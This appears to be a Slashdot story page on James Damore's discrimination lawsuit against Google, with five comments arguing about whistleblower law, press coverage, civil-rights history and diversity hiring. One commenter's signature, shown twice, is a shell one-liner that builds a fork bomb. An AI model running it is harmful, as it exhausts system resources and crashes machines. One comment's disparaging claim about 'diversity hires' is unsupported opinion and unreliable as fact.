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James Damore Sues Google For Allegedly Discriminating Against Conservative White Men (theverge.com)

An anonymous reader shares a report: The author of the controversial memo that upended Google in August is suing the company, alleging that white, male conservatives are systematically discriminated against by Google. James Damore was fired as an engineer after a manifesto questioning the benefits of diversity programs was widely passed around the company. In a new lawsuit, he and another fired engineer claim that "employees who expressed views deviating from the majority view at Google on political subjects raised in the workplace and relevant to Google's employment policies and its business, such as 'diversity' hiring policies, 'bias sensitivity,' or 'social justice,' were/are singled out, mistreated, and systematically punished and terminated from Google, in violation of their legal rights."

5 of 1,175 comments (clear)

  1. Re:Let's see.... by Hal_Porter · · Score: 5, Interesting

    There may very well be laws against firing whistleblowers who were blowing the whistle on illegal discrimination.

    Illegal discrimination would be anything that violates the equal protection clause

    https://en.wikipedia.org/wiki/...

    And if Google were illegally discriminating and Damore pointed this out, which he did, it would be illegal to fire him

    https://www.workplacefairness....

    In addition, the California State Legislature has adopted statutory protections for employees. Notably, California has a general whistleblower protection statute that protects employees who disclose illegal activity or refuse to participate in illegal activities. Whistleblowers are thus protected under both this statute and the common law public policy exception. Also, several other California statutes contain anti-retaliation provisions. Employees who engage in protected activities (usually filing a complaint or testifying) under laws in the following subject areas are protected from retaliation: discrimination, hazardous substances, occupational safety and health, and workers' compensation. Also, California protects employees who file a complaint relating to employee rights with Labor Commissioner.

    Damore's memo was more subtle than his detractors give him credit for

    https://web.archive.org/web/20...

    He explains that 'Google has created several discriminatory practice' and suggests 'non discriminatory ways to reduce the gender gap'. So he could argue Google were breaking the law, he blew the whistle and they fired him.

    Google have pots of money of course, so they'll probably pay him off. And go on discriminating.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  2. Really, Really bad summary by Anonymous Coward · · Score: 5, Interesting

    ...as an engineer after a manifesto questioning the benefits of diversity programs....

    His manifesto did not question the benefits of the diversity program. It questioned its fficacy -- in other words, he questioned if Google could achieve more diversity by structuring the program differently.

    And that's a very big difference. I really hate the level of journalism being thrown at this topic, here and everywhere else.

  3. Re:Finally by Hal_Porter · · Score: 5, Interesting

    http://www.nationalreview.com/...

    If the parties had in some meaningful way flipped on civil rights, one would expect that to show up in the electoral results in the years following the Democrats' 1964 about-face on the issue. Nothing of the sort happened: Of the 21 Democratic senators who opposed the 1964 act, only one would ever change parties. Nor did the segregationist constituencies that elected these Democrats throw them out in favor of Republicans: The remaining 20 continued to be elected as Democrats or were replaced by Democrats. It was, on average, nearly a quarter of a century before those seats went Republican. If southern rednecks ditched the Democrats because of a civil-rights law passed in 1964, it is strange that they waited until the late 1980s and early 1990s to do so. They say things move slower in the South - but not that slow.

    Republicans did begin to win some southern House seats, and in many cases segregationist Democrats were thrown out by southern voters in favor of civil-rights Republicans. One of the loudest Democratic segregationists in the House was Texas's John Dowdy, a bitter and buffoonish opponent of the 1964 reforms, which he declared "would set up a despot in the attorney general's office with a large corps of enforcers under him; and his will and his oppressive action would be brought to bear upon citizens, just as Hitler's minions coerced and subjugated the German people. I would say this - I believe this would be agreed to by most people: that, if we had a Hitler in the United States, the first thing he would want would be a bill of this nature." (Who says political rhetoric has been debased in the past 40 years?) Dowdy was thrown out in 1966 in favor of a Republican with a very respectable record on civil rights, a little-known figure by the name of George H. W. Bush.

    It was in fact not until 1995 that Republicans represented a majority of the southern congressional delegation - and they had hardly spent the Reagan years campaigning on the resurrection of Jim Crow.

    And that's from the National Review, a magazine which is keen - overly keen in my opinion - to denounce Trump as some sort of moral abomination.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  4. Re:Finally by Marxist+Hacker+42 · · Score: 5, Interesting
    --
    SJW: a person who perceives an injustice, and while correcting it, commits a greater injustice.
  5. Re:Finally by lucm · · Score: 5, Interesting

    But it would be infeasible in software development.

    And yet Google (and a few others) are doing it. It's not even difficult how; they discriminate against white males (and asian males to a point) in the hiring process so they can claim diversity awards, and then they acquire talented white or asian males as a package deal when they buy companies because they need better tech and their regular staff is useless diversity hires.

    Think I'm kidding? Look it up:
    https://en.wikipedia.org/wiki/...

    Find startups with strong female presence in that list.

    --
    lucm, indeed.